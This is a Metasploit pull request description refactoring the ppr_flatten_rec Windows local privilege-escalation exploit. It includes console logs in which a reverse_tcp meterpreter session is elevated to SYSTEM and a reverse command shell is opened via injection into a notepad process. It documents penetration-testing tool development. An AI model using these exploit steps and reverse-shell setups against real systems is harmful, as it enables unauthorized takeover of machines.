rapid7/metasploit-framework — pull request #2701 by OJ (2013-11-27 10:40:35+00:00)
Title: Refactor of `ppr_flatten_rec`

This PR contains a few changes for the `ppr_flatten_rec` local windows exploit. This relies on the [RDI submodule and kitrap0d update PR](https://github.com/rapid7/metasploit-framework/pull/2698), so that has to be merged first.

First, the exploit binary itself:

* Updated to use the RDI submodule.
* Updated to build with VS2013 from the command line using the same makefile as that which was committed in the kitrap0d PR.
* Builds copy the binary to the correct location in the MSF folder tree.
* Updated to generate a binary called `ppr_flatten_rc.x86.dll` which is a bit more intuitive and will support the case for when we have X64 support.
* Invocation of the exploit requires address of the payload to run, this is injected into memory before exploitation.

Second, the module in MSF behaved a little strange. I expected it to create a new session with system privs and leave the existing session alone. This wasn't the case. It used to create an instance of notepad, migrate the _existing_ session to it, and run the exploit from there. This behaviour didn't seem to be consistent with other local exploits. The changes include:

* Existing session now only used as a proxy.
* New notepad instance has exploit reflectively loaded.
* New notepad instance has payload directly injected.
* Exploit invocation takes the payload address as a parameter.
* A wait is added as the exploit is slow to run (nature of the exploit) -- it's configurable but defaults to 10s. This is a point of discussion.
* Payloads are executed on successful exploit.

Test run on Vista:
```
=[ metasploit v4.9.0-dev [core:4.9 api:1.0]
+ -- --=[ 1226 exploits - 669 auxiliary - 192 post
+ -- --=[ 324 payloads - 31 encoders - 8 nops

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.5.26.40
lhost => 10.5.26.40
msf exploit(handler) > set lport 8000
lport => 8000
msf exploit(handler) > exploit

[*] Started reverse handler on 10.5.26.40:8000
[*] Starting the payload handler...
[*] Sending stage (785920 bytes) to 10.5.26.43
[*] Meterpreter session 1 opened (10.5.26.40:8000 -> 10.5.26.43:49234) at 2013-11-27 19:55:43 +1000

meterpreter > getuid
Server username: WIN-P73NLAJOYFH\OJ
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ppr_flatten_rec
msf exploit(ppr_flatten_rec) > set session 1
session => 1
msf exploit(ppr_flatten_rec) > check
[+] The target is vulnerable.
msf exploit(ppr_flatten_rec) > exploit

[*] Started reverse handler on 10.5.26.40:4444
[*] Launching notepad to host the exploit...
[+] Process 3128 launched.
[*] Reflectively injecting the exploit DLL into 3128...
[*] Exploit injected. Injecting payload into 3128...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 10 sec ...
[*] Sending stage (785920 bytes) to 10.5.26.43
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (10.5.26.40:4444 -> 10.5.26.43:49235) at 2013-11-27 19:56:37 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
msf exploit(ppr_flatten_rec) > set session 2
session => 2
msf exploit(ppr_flatten_rec) > exploit

[*] Started reverse handler on 10.5.26.40:4444
[-] Exploit failed: Session is already elevated
[*] Exploit completed, but no session was created.
msf exploit(ppr_flatten_rec) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 WIN-P73NLAJOYFH\OJ @ WIN-P73NLAJOYFH 10.5.26.40:8000 -> 10.5.26.43:49234 (10.5.26.43)
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-P73NLAJOYFH 10.5.26.40:4444 -> 10.5.26.43:49235 (10.5.26.43)
```

Working with other payload and settings:

```
msf exploit(ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
WAIT 20 yes Number of seconds to wait for exploit to run

Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 10.5.26.40 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(ppr_flatten_rec) > exploit

[*] Started reverse handler on 10.5.26.40:4444
[*] Launching notepad to host the exploit...
[+] Process 3856 launched.
[*] Reflectively injecting the exploit DLL into 3856...
[*] Exploit injected. Injecting payload into 3856...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 20 sec ...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.5.26.43
[*] Command shell session 4 opened (10.5.26.40:4444 -> 10.5.26.43:49233) at 2013-11-27 20:18:28 +1000
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.

Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.

C:\Users\OJ\Desktop>pwd
pwd
'pwd' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\OJ\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 5CA2-1F48

Directory of C:\Users\OJ\Desktop

10/18/2013 01:36 PM .
10/18/2013 01:36 PM ..
10/05/2013 02:45 PM 468,056 Dbgview.exe
08/08/2013 06:11 PM 22,749,412 ImmunityDebugger_1_85_setup.exe
09/23/2013 03:20 PM 215,108,600 metasploit-latest-windows-installer.exe
10/11/2013 07:23 PM 73,802 tcp-40-8000-x86.exe
10/03/2013 06:24 PM 73,802 tcp-56-8000-x86.exe
5 File(s) 238,473,672 bytes
2 Dir(s) 27,368,304,640 bytes free

C:\Users\OJ\Desktop>
```

So we can see that it should be fine with different payloads.

### Verification

Note, this exploit has been consistently unstable on my Win7 machines (and was unstable before I made any changes to it). It's way more stable on Vista. I haven't tested on Windows XP yet.

- [ ] Works on XP x86.
- [ ] Works on Vista x86.
- [ ] Works on 2003 x86.
- [ ] Works on 7 x86.
- [ ] Works on 8 x86.

I plan to attempt to get this to work on x64 at some point as well, but don't hold your breath just yet!